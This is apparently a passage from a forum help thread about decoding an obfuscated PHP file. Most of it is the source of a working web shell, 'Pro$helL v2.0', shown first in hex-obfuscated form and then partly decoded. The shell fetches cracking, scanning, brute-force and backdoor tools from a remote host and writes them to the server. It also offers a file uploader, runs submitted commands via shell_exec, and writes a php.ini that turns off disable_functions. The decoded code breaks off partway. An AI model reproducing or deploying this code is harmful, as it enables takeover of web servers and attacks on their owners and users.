st\x79\x6c\x65=\"\x74\x65\x78t-dec\x6frat\x69\x6f\x6e:\x20n\x6f\x6e\x65\x22\x3e\n\x43pa\x6eel\x20Cr\x61ck\x65r \x3c/a\x3e \x3cf\x6f\x6et c\x6fl\x6fr=\"w\x68i\x74\x65\" \x66\x6f\x6et \x73\x69z\x65=3 \x3e \x3cf\x6f\x6e\x74\x20co\x6c\x6f\x72\x3d\x22r\x65\x64\x22\x20f\x6fnt s\x69ze\x3d3\x20>/\x20</fo\x6et>\x20\n<a\x20\x68ref=\x22?\x61=\x73\x71\x6c\x22\x20\x73tyl\x65\x3d\"text-d\x65\x63\x6fr\x61\x74\x69on:\x20\x6e\x6fne\">\nS\x71\x6c\x20Sc\x61n\x6e\x65r\x20</a\x3e\x20\x3cf\x6f\x6e\x74 \x63o\x6c\x6f\x72\x3d\"w\x68\x69te\" fo\x6e\x74 \x73\x69\x7a\x65=3\x20> \x3c\x66\x6f\x6et\x20co\x6c\x6fr\x3d\x22\x72e\x64\x22 fo\x6e\x74\x20siz\x65\x3d\x33 \x3e/\x20\x3c/fo\x6e\x74\x3e \n\x3c\x61 h\x72\x65f\x3d\x22?a\x3d\x6a\x62\" styl\x65\x3d\x22t\x65\x78t-\x64\x65\x63\x6fra\x74ion: no\x6e\x65\">\n\x4a\x6f\x6f\x6d\x6ca\x20B\x72u\x74\x65\x72\x20\x3c/\x61>\x20<fo\x6et\x20\x63ol\x6fr=\x22wh\x69t\x65\"\x20\x66ont siz\x65=\x33\x20>\x3c/\x66ont\x3e\x20\n\x3c\x66\x6f\x6et\x20c\x6f\x6co\x72\x3d\x22r\x65\x64\"\x20font size=\x33 \x3e //\x20</font>\x20\n\x3c\x62r>\n<\x66ont \x63\x6f\x6co\x72=\x22red\x22\x20\x66o\x6e\x74 \x73iz\x65=3 >\x20//\x20\x3c/f\x6fn\x74\x3e \n<a h\x72e\x66=\"?\x61=b4c\x6b\x22\x20s\x74yl\x65\x3d\"te\x78\x74-\x64\x65\x63\x6f\x72atio\x6e: n\x6f\x6ee\"\x3e\n\x42a\x63kdo\x6fr\x20</a>\x20<\x66o\x6e\x74 colo\x72=\x22\x77hi\x74\x65\" \x66o\x6et\x20\x73i\x7ae\x3d\x33 \x3e \x3cfo\x6et\x20\x63o\x6co\x72=\"\x72ed\x22 \x66ont s\x69\x7ae=3 >/ \x3c/\x66ont>\x20\n<\x61 \x68ref\x3d\"?a=\x6a\x73s\x22\x20\x73t\x79le=\"\x74\x65\x78t-d\x65\x63or\x61ti\x6fn:\x20no\x6e\x65\x22>\n\x4a\x6f\x6f\x6dl\x61\x20S\x65\x72\x76\x65\x72 \x53\x63a\x6e\x6e\x65r\x20\x3c/a>\x20<\x66\x6f\x6et \x63\x6f\x6c\x6f\x72\x3d\"\x77\x68\x69t\x65\" fon\x74 s\x69ze\x3d3 \x3e \x3c\x66o\x6et\x20\x63ol\x6f\x72\x3d\"r\x65d\x22\x20f\x6f\x6et\x20s\x69ze\x3d\x33 >/ \x3c/\x66\x6f\x6et\x3e \n<a \x68re\x66=\x22?\x61\x3dws\x73\x22\x20\x73\x74y\x6ce\x3d\"text-deco\x72a\x74\x69o\x6e: \x6e\x6f\x6e\x65\x22\x3e\n\x57o\x72d\x70\x72\x65s\x73\x20\x53\x65\x72\x76\x65r \x53\x63a\x6ener </a> <\x66ont\x20c\x6f\x6co\x72\x3d\x22wh\x69\x74\x65\x22 \x66\x6f\x6et \x73\x69\x7ae\x3d\x33\x20\x3e <\x66\x6fn\x74\x20c\x6flor\x3d\"r\x65\x64\x22\x20fo\x6e\x74 \x73\x69\x7a\x65\x3d3\x20\x3e/ \x3c/font> \n<\x61\x20\x68\x72e\x66=\x22?a\x3da\x64m\" s\x74y\x6c\x65\x3d\"\x74\x65\x78t-\x64\x65\x63\x6fr\x61\x74io\x6e:\x20no\x6e\x65\x22>\nAd\x6d\x69\x6e Finde\x72 \x3c/\x61\x3e <f\x6fnt\x20\x63o\x6co\x72=\x22\x77hi\x74\x65\"\x20\x66o\x6e\x74 \x73i\x7a\x65\x3d3\x20\x3e\x20\x3cfo\x6et\x20c\x6f\x6c\x6f\x72=\x22\x72ed\" \x66\x6fn\x74\x20s\x69ze=3\x20>/\x20</fon\x74\x3e\x20\n<\x61 \x68re\x66=\"?a\x3ds\x34\x73\x22 \x73\x74y\x6c\x65=\"tex\x74-\x64ec\x6fr\x61tion:\x20\x6e\x6fn\x65\x22\x3e\n\x53\x68\x65l\x6c\x20F\x69nder \x3c/\x61\x3e \x3c\x66\x6fn\x74 colo\x72=\x22wh\x69\x74e\"\x20\x66on\x74\x20siz\x65=\x33\x20>\x3c/f\x6fnt\x3e\n<\x66o\x6e\x74 color=\"r\x65d\" font\x20siz\x65\x3d3\x20>\x20// </\x66\x6fnt>\x20\n</t\x64\x3e\n";if($_GET[a]=="ji\x63"){$xsffhintnhzk="b";${${"\x47\x4c\x4fBAL\x53"}["\x61\x66\x6b\x68\x6e\x62\x7a\x6d\x6e\x6d"]}=file_get_contents("\x68\x74\x74\x70://\x66t\x70\x2e\x6aa\x69\x73t\x2eac\x2e\x6a\x70/pub//sou\x72\x63\x65for\x67e/\x70/\x70r/\x70\x72oc\x6fder\x7a/j\x6f\x6fm\x6ca\x69\x6ed\x65x\x63\x68\x61\x6e\x67e\x72\x2etxt");${"GL\x4fB\x41L\x53"}["c\x6a\x74x\x70k\x68\x69"]="b";${$xsffhintnhzk}=fopen("j\x69c\x2e\x70\x68p","\x77");fwrite(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6e\x6cd\x6a\x71v\x70\x65\x61"]},${${"\x47\x4c\x4f\x42\x41L\x53"}["a\x66k\x68n\x62z\x6d\x6e\x6d"]});fclose(${${"\x47L\x4f\x42AL\x53"}["\x63\x6a\x74xp\x6bh\x69"]});print"<\x62\x72>\x3cce\x6e\x74\x65\x72\x3e<h3\x3e<\x66on\x74 col\x6fr=\x22w\x68\x69\x74\x65\">D\x6fne \x53h\x65\x6cl \x4e\x61\x6d\x65 \x3ca\x20h\x72e\x66\x3d\"\x6aic.\x70h\x70\">\x3cf\x6f\x6et co\x6co\x72=\x72ed\x3ej\x69c.\x70hp\x3c/f\x6f\x6e\x74\x3e</\x61> </h\x31\x3e ";}if($_GET[a]=="w\x69\x63"){${"\x47\x4c\x4fB\x41L\x53"}["qd\x70\x76\x64\x75"]="\x62";$tsxpwkpqbk="\x66\x69\x6ce";${"\x47L\x4f\x42\x41\x4c\x53"}["\x64g\x6f\x7a\x6f\x6dv\x68"]="\x62";${$tsxpwkpqbk}=file_get_contents("h\x74\x74p://\x66\x74p.\x6a\x61i\x73\x74.a\x63\x2e\x6ap/p\x75b//\x73o\x75r\x63\x65f\x6f\x72\x67e/p/\x70r/\x70ro\x63\x6fd\x65rz/\x77\x6f\x72\x64\x70r\x65\x73\x73\x69\x6ed\x65xc\x68ange\x72.\x74x\x74");${${"\x47\x4c\x4f\x42A\x4cS"}["d\x67\x6f\x7a\x6f\x6d\x76\x68"]}=fopen("\x77\x69\x63.p\x68\x70","\x77");$qrdspyt="f\x69l\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x66\x68\x6d\x68sf\x75\x66g\x74"]="\x62";fwrite(${${"\x47L\x4f\x42\x41\x4cS"}["\x71\x64\x70vdu"]},${$qrdspyt});fclose(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71f\x68m\x68\x73\x66\x75\x66\x67\x74"]});print"\x3cb\x72\x3e\x3cc\x65n\x74\x65\x72><h\x33><f\x6f\x6e\x74 co\x6c\x6fr=\"wh\x69t\x65\x22>\x44\x6fn\x65\x20She\x6c\x6c \x4e\x61me \x3ca h\x72e\x66\x3d\"wic\x2e\x70\x68p\"\x3e<fon\x74 \x63olor\x3dr\x65\x64>wi\x63.ph\x70\x3c/font>\x3c/\x61\x3e \x3c/h1\x3e ";}if($_GET[a]=="c\x70"){${${"\x47\x4cOBALS"}["\x61\x66\x6b\x68\x6e\x62\x7a\x6d\x6e\x6d"]}=file_get_contents("h\x74\x74\x70://ftp.\x6a\x61\x69\x73\x74\x2e\x61\x63\x2e\x6a\x70/\x70ub//\x73ou\x72cef\x6f\x72g\x65/\x70/\x70r/\x70r\x6f\x63\x6f\x64erz/\x63pbt\x2et\x78\x74");${${"G\x4cO\x42\x41L\x53"}["n\x6c\x64j\x71\x76p\x65\x61"]}=fopen("cp.\x70\x68\x70","w");fwrite(${${"G\x4cO\x42\x41\x4c\x53"}["n\x6c\x64\x6a\x71v\x70\x65\x61"]},${${"G\x4c\x4f\x42A\x4c\x53"}["\x61\x66\x6b\x68\x6e\x62\x7a\x6dnm"]});fclose(${${"\x47\x4c\x4f\x42AL\x53"}["n\x6c\x64jq\x76\x70\x65\x61"]});print"<br>\x3c\x63\x65\x6et\x65\x72>\x3ch3><f\x6fnt\x20color\x3d\"whi\x74\x65\x22>Don\x65\x20S\x68\x65l\x6c \x4ea\x6de <a\x20\x68r\x65\x66\x3d\x22c\x70\x2ep\x68\x70\x22><f\x6f\x6et c\x6f\x6cor\x3d\x72ed>\x63p.ph\x70</\x66\x6f\x6e\x74\x3e</\x61> </h1\x3e ";}if($_GET[a]=="\x73\x71l"){$iayaadkd="\x62";${"\x47LOBALS"}["\x62ct\x64\x75\x61\x69s\x77"]="\x62";${${"\x47\x4cO\x42\x41\x4cS"}["\x61\x66k\x68\x6e\x62\x7a\x6d\x6e\x6d"]}=file_get_contents("\x68\x74\x74p://f\x74\x70\x2e\x6aaist\x2ea\x63.j\x70/p\x75\x62//\x73\x6fur\x63\x65fo\x72\x67e/\x70/p\x72/p\x72o\x63\x6f\x64e\x72z/\x73\x71\x6c\x73c\x61\x6e\x2e\x74xt");${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62\x63td\x75\x61i\x73\x77"]}=fopen("s\x71lsc\x61\x6e.p\x68\x70","\x77");fwrite(${${"\x47\x4cO\x42A\x4c\x53"}["\x6el\x64jqv\x70e\x61"]},${${"G\x4c\x4f\x42\x41\x4cS"}["a\x66\x6b\x68\x6eb\x7a\x6d\x6e\x6d"]});fclose(${$iayaadkd});print"<br\x3e<\x63\x65n\x74\x65\x72\x3e<\x683\x3e\x3c\x66\x6f\x6et c\x6flor\x3d\x22wh\x69\x74e\x22>\x44one \x53\x68\x65\x6cl\x20N\x61\x6d\x65 \x3ca href\x3d\"\x73q\x6cs\x63\x61n.p\x68\x70\x22>\x3c\x66\x6f\x6e\x74 \x63\x6f\x6cor=r\x65\x64>sq\x6c\x73can.\x70\x68\x70\x3c/font></a>\x20</h1> ";}if($_GET[a]=="j\x62"){${"\x47LO\x42\x41\x4cS"}["\x70\x67\x6ec\x68e\x74\x62\x71k"]="\x62";${${"GL\x4fBA\x4c\x53"}["\x61\x66k\x68\x6e\x62\x7a\x6dn\x6d"]}=file_get_contents("h\x74\x74p://ft\x70.j\x61is\x74.\x61\x63.\x6ap/pu\x62//s\x6fu\x72c\x65f\x6frg\x65/\x70/p\x72/\x70r\x6f\x63\x6fd\x65\x72\x7a/\x6a\x6foml\x61\x62\x72\x75\x74e\x2etx\x74");${${"\x47LO\x42\x41\x4c\x53"}["pg\x6e\x63h\x65\x74bq\x6b"]}=fopen("j\x62.php","w");fwrite(${${"G\x4cOB\x41L\x53"}["\x6e\x6c\x64\x6a\x71v\x70e\x61"]},${${"GL\x4f\x42A\x4c\x53"}["a\x66\x6bh\x6eb\x7am\x6e\x6d"]});fclose(${${"GL\x4fB\x41\x4cS"}["\x6el\x64j\x71\x76\x70\x65a"]});print"<\x62\x72\x3e\x3cce\x6et\x65r><\x683>\x3cf\x6fn\x74\x20c\x6f\x6co\x72\x3d\"w\x68i\x74\x65\"\x3e\x44\x6f\x6ee \x53hel\x6c \x4ea\x6de\x20\x3c\x61 \x68\x72\x65f\x3d\x22\x6ab.\x70hp\x22\x3e<\x66\x6f\x6e\x74\x20c\x6f\x6c\x6fr\x3d\x72\x65d>\x6a\x62\x2ep\x68\x70\x3c/f\x6fnt\x3e\x3c/a\x3e </\x68\x31\x3e ";}if($_GET[a]=="\x624\x63k"){$myaorjzhay="fi\x6ce";${$myaorjzhay}=file_get_contents("\x68\x74tp://\x66tp\x2e\x6aa\x69s\x74\x2e\x61\x63.\x6a\x70/p\x75\x62//s\x6f\x75rce\x66org\x65/p/p\x72/p\x72\x6f\x63\x6f\x64\x65rz/b\x34\x63k\x2et\x78t");${"\x47\x4c\x4f\x42\x41\x4cS"}["u\x61\x77s\x66\x79x\x77\x71\x65\x6c"]="\x62";${${"G\x4cO\x42AL\x53"}["u\x61w\x73\x66yx\x77\x71\x65l"]}=fopen("\x624c\x6b\x2e\x70\x68\x70","\x77");fwrite(${${"G\x4cO\x42\x41LS"}["nld\x6aq\x76\x70\x65\x61"]},${${"\x47\x4c\x4fBA\x4c\x53"}["\x61\x66\x6bh\x6e\x62zm\x6em"]});fclose(${${"\x47\x4cOBAL\x53"}["\x6e\x6c\x64j\x71v\x70e\x61"]});print"<\x62\x72><\x63\x65nte\x72\x3e\x3c\x68\x33><\x66o\x6et\x20c\x6f\x6co\x72\x3d\"\x77\x68i\x74\x65\x22\x3e\x44\x6fne\x20\x53hel\x6c \x4eam\x65\x20\x3c\x61 h\x72\x65\x66=\"\x62\x34ck\x2ep\x68p\"><f\x6fnt\x20\x63o\x6c\x6fr\x3d\x72e\x64>b\x34\x63k.p\x68p</\x66\x6fn\x74\x3e</\x61> </h1>\x20";}if($_GET[a]=="j\x73\x73"){$urinanwuzjb="b";${"\x47\x4c\x4f\x42A\x4cS"}["\x62\x63i\x71\x6c\x68w\x6a\x69p"]="\x62";${${"\x47\x4c\x4fBA\x4c\x53"}["\x61\x66k\x68\x6e\x62\x7am\x6e\x6d"]}=file_get_contents("h\x74tp://ft\x70\x2e\x6aai\x73\x74\x2eac.jp/\x70ub//\x73o\x75r\x63\x65\x66\x6fr\x67\x65/p/pr/\x70roc\x6f\x64er\x7a/j\x73\x73\x2e\x74\x78t");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x6c\x64\x6a\x71\x76p\x65\x61"]}=fopen("js\x73.\x70hp","\x77");fwrite(${${"\x47LO\x42\x41L\x53"}["\x62ci\x71\x6ch\x77\x6a\x69p"]},${${"G\x4cOBA\x4c\x53"}["\x61f\x6bh\x6e\x62\x7a\x6d\x6e\x6d"]});fclose(${$urinanwuzjb});print"<br\x3e\x3cce\x6e\x74\x65\x72\x3e<h3>\x3c\x66\x6f\x6e\x74\x20c\x6flo\x72\x3d\x22w\x68\x69\x74e\x22\x3e\x44\x6fn\x65 She\x6cl \x4eam\x65\x20<\x61 href=\x22jss.p\x68\x70\x22><fo\x6e\x74 \x63\x6f\x6cor\x3d\x72\x65\x64>\x6as\x73\x2e\x70hp</\x66on\x74></\x61>\x20\x3c/h\x31\x3e\x20";}if($_GET[a]=="\x77s\x73"){$murjrsedclss="\x62";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x66\x6b\x68\x6e\x62z\x6d\x6em"]}=file_get_contents("\x68\x74\x74\x70://\x66tp\x2eja\x69\x73\x74.\x61c.\x6a\x70/pub//\x73\x6f\x75\x72\x63efor\x67\x65/\x70/p\x72/p\x72ocod\x65\x72z/w\x73\x73.t\x78\x74");${$murjrsedclss}=fopen("\x77\x73\x73\x2ephp","\x77");fwrite(${${"GLO\x42\x41L\x53"}["\x6e\x6cd\x6a\x71\x76\x70\x65\x61"]},${${"G\x4cO\x42AL\x53"}["a\x66\x6bh\x6eb\x7a\x6dn\x6d"]});fclose(${${"G\x4c\x4f\x42\x41\x4cS"}["nl\x64\x6a\x71v\x70ea"]});print"\x3c\x62\x72\x3e\x3ccen\x74e\x72>\x3c\x683><\x66\x6fn\x74\x20co\x6c\x6f\x72=\x22w\x68\x69\x74\x65\">\x44o\x6e\x65\x20She\x6c\x6c\x20\x4ea\x6d\x65\x20<a\x20\x68\x72\x65f=\x22\x77ss\x2e\x70\x68\x70\x22\x3e<\x66\x6f\x6e\x74 c\x6f\x6c\x6fr\x3dr\x65d>wss.ph\x70</\x66\x6f\x6e\x74>\x3c/\x61> </\x68\x31\x3e ";}if($_GET[a]=="a\x64\x6d"){$nktjugsci="\x62";${"GL\x4f\x42\x41\x4c\x53"}["\x66ko\x6c\x76\x79\x68"]="\x66\x69\x6c\x65";${${"\x47\x4c\x4f\x42ALS"}["\x66k\x6f\x6cv\x79h"]}=file_get_contents("\x68tt\x70://ftp\x2e\x6aa\x69st\x2eac.j\x70/pub//\x73ou\x72c\x65f\x6fr\x67e/p/\x70\x72/\x70\x72oc\x6fd\x65\x72\x7a/adm\x2e\x74\x78\x74");${$nktjugsci}=fopen("adm.\x70h\x70","w");fwrite(${${"G\x4c\x4f\x42\x41L\x53"}["\x6e\x6cdj\x71v\x70\x65a"]},${${"G\x4c\x4fBALS"}["\x61\x66\x6bh\x6e\x62\x7a\x6dn\x6d"]});fclose(${${"\x47\x4cO\x42\x41\x4c\x53"}["n\x6cdj\x71v\x70e\x61"]});print"<\x62\x72\x3e<\x63\x65\x6ete\x72>\x3ch3><\x66\x6f\x6et \x63\x6flo\x72=\"white\"\x3e\x44one Shel\x6c\x20\x4e\x61\x6d\x65\x20<a \x68r\x65f\x3d\"a\x64m.\x70hp\x22>\x3cfon\x74\x20c\x6f\x6c\x6f\x72=\x72\x65\x64>\x61d\x6d\x2e\x70\x68\x70</\x66o\x6et></a> \x3c/h1> ";}if($_GET[a]=="\x734s"){$ybsgfgdh="\x62";${"\x47\x4c\x4f\x42\x41LS"}["\x67\x63ltj\x79\x79\x79w\x73\x62\x6a"]="\x62";${"\x47L\x4f\x42\x41LS"}["\x67\x64y\x74\x68\x6e\x67\x62q\x79\x64"]="\x66\x69\x6c\x65";${${"\x47\x4c\x4f\x42AL\x53"}["\x61\x66kh\x6e\x62\x7a\x6d\x6em"]}=file_get_contents("\x68ttp://f\x74p\x2e\x6a\x61\x69s\x74\x2e\x61\x63.jp/pub//so\x75rc\x65\x66\x6fr\x67e/\x70/pr/\x70\x72oc\x6f\x64erz/s\x68\x65\x6c\x6cfin\x64\x65r.t\x78\x74");${$ybsgfgdh}=fopen("sh\x65l\x6cf\x69\x6e\x64\x65\x72.ph\x70","\x77");fwrite(${${"\x47LO\x42\x41\x4c\x53"}["\x67\x63\x6c\x74jyy\x79\x77\x73\x62j"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x64\x79\x74h\x6e\x67bq\x79\x64"]});fclose(${${"\x47LO\x42\x41L\x53"}["\x6e\x6cdj\x71vp\x65\x61"]});print"\x3cb\x72><\x63ente\x72\x3e\x3c\x68\x33\x3e\x3c\x66on\x74\x20colo\x72=\"\x77hi\x74e\"\x3eDone\x20Sh\x65\x6cl Name <\x61 h\x72\x65\x66=\x22sh\x65\x6cl\x66\x69\x6e\x64e\x72.\x70hp\"\x3e\x3c\x66on\x74\x20c\x6f\x6c\x6fr\x3dre\x64\x3e\x73hel\x6cf\x69n\x64\x65\x72.php</fo\x6e\x74></\x61\x3e\x20</h\x31\x3e\x20";}echo"<\x66ont\x20fac\x65=\"\x56\x65rd\x61na\" si\x7a\x65\x3d\"\x32\x22>\n\n\x3c\x63e\x6e\x74er>Uname-a :\x20<fo\x6et\x20\x63o\x6co\x72=\x22#\x3808\x30\x38\x30\x22\x3e".php_uname()."\n\x3cbr\x3e<b\x72\x3e\n";echo"\n\x3ct\x61ble\x20\x62\x6f\x72\x64e\x72=1 \x62\x6f\x72\x64erc\x6fl\x6fr=\x72\x65\x64>\n\x3ct\x64 w\x69\x64th\x3d\x35\x350\x20h\x65\x69\x67h\x74\x3d28\x3e<cent\x65\x72\x3e\n\x3cf\x6fnt\x20fa\x63\x65\x3d\x22Verda\x6ea\x22 \x73i\x7ae=\x221\x22\x20\x66on\x74\x20co\x6cor=r\x65\x64>\x2e/\x75\x70l\x6fa\x64\x65r\x3c/\x66ont></\x63ent\x65\x72><\x62\x72>";echo"\x3ccent\x65\x72>\x3cfo\x72\x6d\x20a\x63\x74i\x6f\x6e\x3d\x22\" met\x68\x6fd\x3d\x22p\x6f\x73\x74\" e\x6ectype\x3d\x22mu\x6c\x74\x69p\x61rt/\x66\x6f\x72\x6d-\x64a\x74a\"\x20n\x61me\x3d\"\x75p\x6c\x6f\x61d\x65\x72\"\x20\x69d=\"u\x70\x6c\x6fade\x72\x22\x3e";$glkfnrf="cmd";echo"\x3c\x63\x65\x6et\x65\x72>\x3c\x69\x6ep\x75t\x20\x74y\x70e\x3d\x22f\x69le\x22\x20na\x6de\x3d\x22\x66ile\"\x20siz\x65\x3d\x22\x350\x22>\x3cin\x70\x75t\x20\x6e\x61m\x65=\x22\x5f\x75p\x6c\x22\x20ty\x70\x65=\x22su\x62\x6d\x69t\x22\x20id\x3d\x22_\x75p\x6c\" v\x61\x6cue=\"Up\x6c\x6fa\x64\"></fo\x72\x6d\x3e\x3c/cen\x74\x65\x72>";if($_POST["_upl"]=="\x55\x70\x6c\x6fad"){if(@copy($_FILES["f\x69l\x65"]["\x74\x6dp_\x6e\x61\x6de"],$_FILES["f\x69\x6c\x65"]["n\x61\x6de"])){echo"<p\x20\x61\x6ci\x67n\x3d\"ce\x6e\x74er\"\x3e<fon\x74 \x66a\x63\x65=\x22Verd\x61\x6ea\"\x20s\x69z\x65\x3d\"\x31\"\x3e\x3c\x66\x6f\x6e\x74\x20\x63\x6fl\x6fr=\x22\x77hit\x65\"> OK :)\x3c/\x66\x6fnt><\x62\x72>";}else{echo"\x3c\x66o\x6et\x20c\x6f\x6cor=\"\x23\x46\x46\x30\x30\x300\"\x3eFai\x6ce\x64 :( \x3c/\x66\x6f\x6e\x74\x3e\x3c/\x70\x3e\n\t\x3c/t\x64\x3e</\x74\x61b\x6c\x65\x3e</tr>\n";}}echo "\n\x3c/b\x6fdy>\n<\x68\x72 c\x6f\x6c\x6fr\x3d\x22\x72e\x64\">\n\x3c/\x68tm\x6c>\n\x3c\x74a\x62le b\x6f\x72\x64e\x72\x3d\x31 \x62\x6f\x72\x64e\x72\x63o\x6c\x6f\x72=re\x64>\n<\x74\x64\x20w\x69d\x74\x68=\x355\x30\x20\x68\x65\x69\x67\x68t=2\x38\x3e\n\x3c\x68\x74\x6d\x6c> \n<\x62od\x79 \x74\x65xt=red>\x20\x3c\x63\x65nter>\x3cfont\x20\x73\x69z\x65=1 fon\x74 \x63o\x6c\x6f\x72\x3d\x72\x65\x64\x3e./\x74\x65\x72\x6dinal</\x66o\x6e\x74\x3e\x3c/c\x65\x6e\x74\x65\x72>\n<\x66\x6frm m\x65th\x6fd\x3d\x50OS\x54\x3e\x3c\x70r\x65\x3e[\x70\x72o@";echo$_SERVER["\x53ERVER_\x4eA\x4dE"];echo "\x20~]\x20\x23 <\x69\x6e\x70\x75\x74 \x74\x79\x70\x65=\x54E\x58\x54\x20na\x6de=\x22-\x63\x6dd\" s\x69\x7a\x65\x3d6\x34\x20va\x6c\x75\x65\x3d\x22";${"\x47LO\x42A\x4c\x53"}["\x74\x72\x67\x78q\x69\x62"]="\x63\x6d\x64";echo ${${"\x47\x4c\x4f\x42\x41L\x53"}["t\x72\x67\x78\x71\x69\x62"]};echo "\" \n\x73\x74\x79le\x3d\"f\x6fn\x74-\x66a\x6d\x69ly:\x20Co\x75ri\x65r\x20New;\"\x3e\x20\n\x3c/center>\n";${${"G\x4c\x4f\x42\x41L\x53"}["\x74r\x67\x78\x71\x69b"]}=$_REQUEST["-c\x6d\x64"];echo "\x20\n";if(${${"G\x4cOB\x41\x4c\x53"}["\x74\x72\x67xq\x69\x62"]}!="")print Shell_Exec(${$glkfnrf});echo "\n[<sy\x3e\x3ca\x20\x68\x72ef=\"\x23t\x6f\x70\"\x3eT\x4f\x50</a\x3e\x3c/\x73y>]\n\x3c/p\x72e\x3e\x3c\x68r\x20colo\x72=\"\x72\x65d\x22\x3e<cent\x65\x72><\x66\x6f\x6e\x74\x20\x73iz\x65\x3d1>\nCode\x64\x20by \x3ca\x20hr\x65f\x3d\x22ht\x74p://www\x2e\x66a\x63eboo\x6b.co\x6d/r\x6f\x6ft\x2epro\x63o\x64e\x72\x7a\">R\x65t\x6e\x4f\x48a\x63\x4b</a\x3e \x23\x50\x72\x6fco\x64\x65\x72\x7a T\x65am\x20\x41lba\x6e\x69\x61n\x3c\x62\x72>\x3c\x61\x20\x68\x72\x65\x66\x3d\"\x68\x74tp://w\x77\x77.\x70r\x6f\x63\x6fd\x65rz\x2eco\x6d\">\x77w\x77.\x70ro\x63oder\x7a\x2ecom\x3c/\x61\x3e</ta\x62le>\x3c/\x68\x74ml\x3e";
?> |
|
|
|
|
|
|
|
Re: [Help] Decode File |
|
| Posted: Mon May 20, 2013 12:07 pm |
|
|
| vv456 |
| Advanced user |
 |
|
| Joined: Aug 24, 2012 |
| Posts: 190 |
|
|
|
|
|
|
|
Decoded
| Code: | <?php
/**
*
* @ POWER X 7 DECODER
* @ Version : 1.1.4.0
* @ Member : vv456
* @ Official site : http://www.waraxe.us/forum-userprofile-8669.html
*
**/
${"GLOBALS"}["tfwrlfhzms"]="r";
${"GLOBALS"}["awwgnsii"]="head";
${"GLOBALS"}["tnarfvydlnbl"]="link";
${${"GLOBALS"}["awwgnsii"]}="\n<html>\n<head>\n</script>\n<title>Pro\$helL v2.0</title>\n<meta http-equiv="Content-Type" content="text/html;
charset=UTF-8">\n<STYLE>\ntextarea{background-color:#105700;
color:lime;
font-weight:bold;
font-size: 20px;
font-family: Tahoma;
border: 1px solid #000000;
}\ninput{FONT-WEIGHT:normal;
background-color: #105700;
font-size: 15px;
font-weight:bold;
color: lime;
font-family: Tahoma;
border: 1px solid #666666;
height:20}\nbody {\nfont-family: Tahoma\n}\ntr {\nBORDER: dashed 1px #333;
\ncolor: #FFF;
\n}\ntd {\nBORDER: dashed 1px #333;
\ncolor: #FFF;
\n}\n.table1 {\nBORDER: 0px Black;
\nBACKGROUND-COLOR: Black;
\ncolor: #FFF;
\n}\n.td1 {\nBORDER: 0px;
\nBORDER-COLOR: #333333;
\nfont: 7pt Verdana;
\ncolor: Green;
\n}\n.tr1 {\nBORDER: 0px;
\nBORDER-COLOR: #333333;
\ncolor: #FFF;
\n}\ntable {\nBORDER: dashed 1px #333;
\nBORDER-COLOR: #333333;
\nBACKGROUND-COLOR: Black;
\ncolor: #FFF;
\n}\ninput {\nborder\t\t\t: dashed 1px;
\nborder-color\t\t: #333;
\nBACKGROUND-COLOR: Black;
\nfont: 8pt Verdana;
\ncolor: Red;
\n}\nselect {\nBORDER-RIGHT: Black 1px solid;
\nBORDER-TOP: #DF0000 1px solid;
\nBORDER-LEFT: #DF0000 1px solid;
\nBORDER-BOTTOM: Black 1px solid;
\nBORDER-color: #FFF;
\nBACKGROUND-COLOR: Black;
\nfont: 8pt Verdana;
\ncolor: Red;
\n}\nsubmit {\nBORDER: buttonhighlight 2px outset;
\nBACKGROUND-COLOR: Black;
\nwidth: 30%;
\ncolor: #FFF;
\n}\ntextarea {\nborder\t\t\t: dashed 1px #333;
\nBACKGROUND-COLOR: Black;
\nfont: Fixedsys bold;
\ncolor: #999;
\n}\nBODY {\n\tSCROLLBAR-FACE-COLOR: Black;
SCROLLBAR-HIGHLIGHT-color: #FFF;
SCROLLBAR-SHADOW-color: #FFF;
SCROLLBAR-3DLIGHT-color: #FFF;
SCROLLBAR-ARROW-COLOR: Black;
SCROLLBAR-TRACK-color: #FFF;
SCROLLBAR-DARKSHADOW-color: #FFF\nmargin: 1px;
\ncolor: Red;
\nbackground-color: Black;
\n}\n.main {\nmargin\t\t\t: -287px 0px 0px -490px;
\nBORDER: dashed 1px #333;
\nBORDER-COLOR: #333333;
\n}\n.tt {\nbackground-color: Black;
\n}\n\nA:link {\n\tCOLOR: White;
TEXT-DECORATION: none\n}\nA:visited {\n\tCOLOR: White;
TEXT-DECORATION: none\n}\nA:hover {\n\tcolor: Red;
TEXT-DECORATION: none\n}\nA:active {\n\tcolor: Red;
TEXT-DECORATION: none\n}\n</STYLE>\n<script language='javascript'>\nfunction hide_div(id)\n{\n document.getElementById(id).style.display = 'none';
\n document.cookie=id+'=0;
';
\n}\nfunction show_div(id)\n{\n document.getElementById(id).style.display = 'block';
\n document.cookie=id+'=1;
';
\n}\nfunction change_divst(id)\n{\n if (document.getElementById(id).style.display == 'none')\n show_div(id);
\n else\n hide_div(id);
\n}\n</script>";
${"GLOBALS"}["slemmpnkehn"]="user";
echo "\n<html>\n\t<head>\n\t\t";
${"GLOBALS"}["ykffkjs"]="rr";
$rbojkdovmfq="head";
echo${$rbojkdovmfq};
echo"\n<table width=\"100%\" cellspacing="0" cellpadding=\"0" class="tb1" >n<td width="100%" align=center valign="top" rowspan="1\"><hr color="red">\n<img src="http://i.imgur.com/rKSf7.png"><hr color="red"><font color="red" size="5"><i>\n<b>Pro\$helL v2.0 by <a href="http://www.procoderz.com/\">Procoderz Team Albanian </b><br>\n</a><hr color=\"red\"></i>\n</table>\n";
${"GLOBALS"}["ekzieepryqz"]="dir";
echo "\n<center>\n<font face="Verdana" size=\"1\" font color=red>./config k1ller</font></center>\n<br>\n<form method=post><font size=2 face=\"TAHOMA" color="white\">To Generate PHP.ini Click the button below</font><br>\n<input type=submit name=ini value=\"Generate PHP.ini" /></form>n<form method=post><font size=2 face="TAHOMA\" color="white">To Check The Smylink Dump Click the button below</font><br>\n\t<input type=submit name=\"usre" value="use to Extract usernames" /></form>nt";
if(isset($_POST["ini"])){$bokpbur="link";
${${"GLOBALS"}["tfwrlfhzms"]}=fopen("php.ini","w");
$rcdiwy="r";
${${"GLOBALS"}["ykffkjs"]}=" disbale_functions=none ";
fwrite(${$rcdiwy},${${"GLOBALS"}["ykffkjs"]});
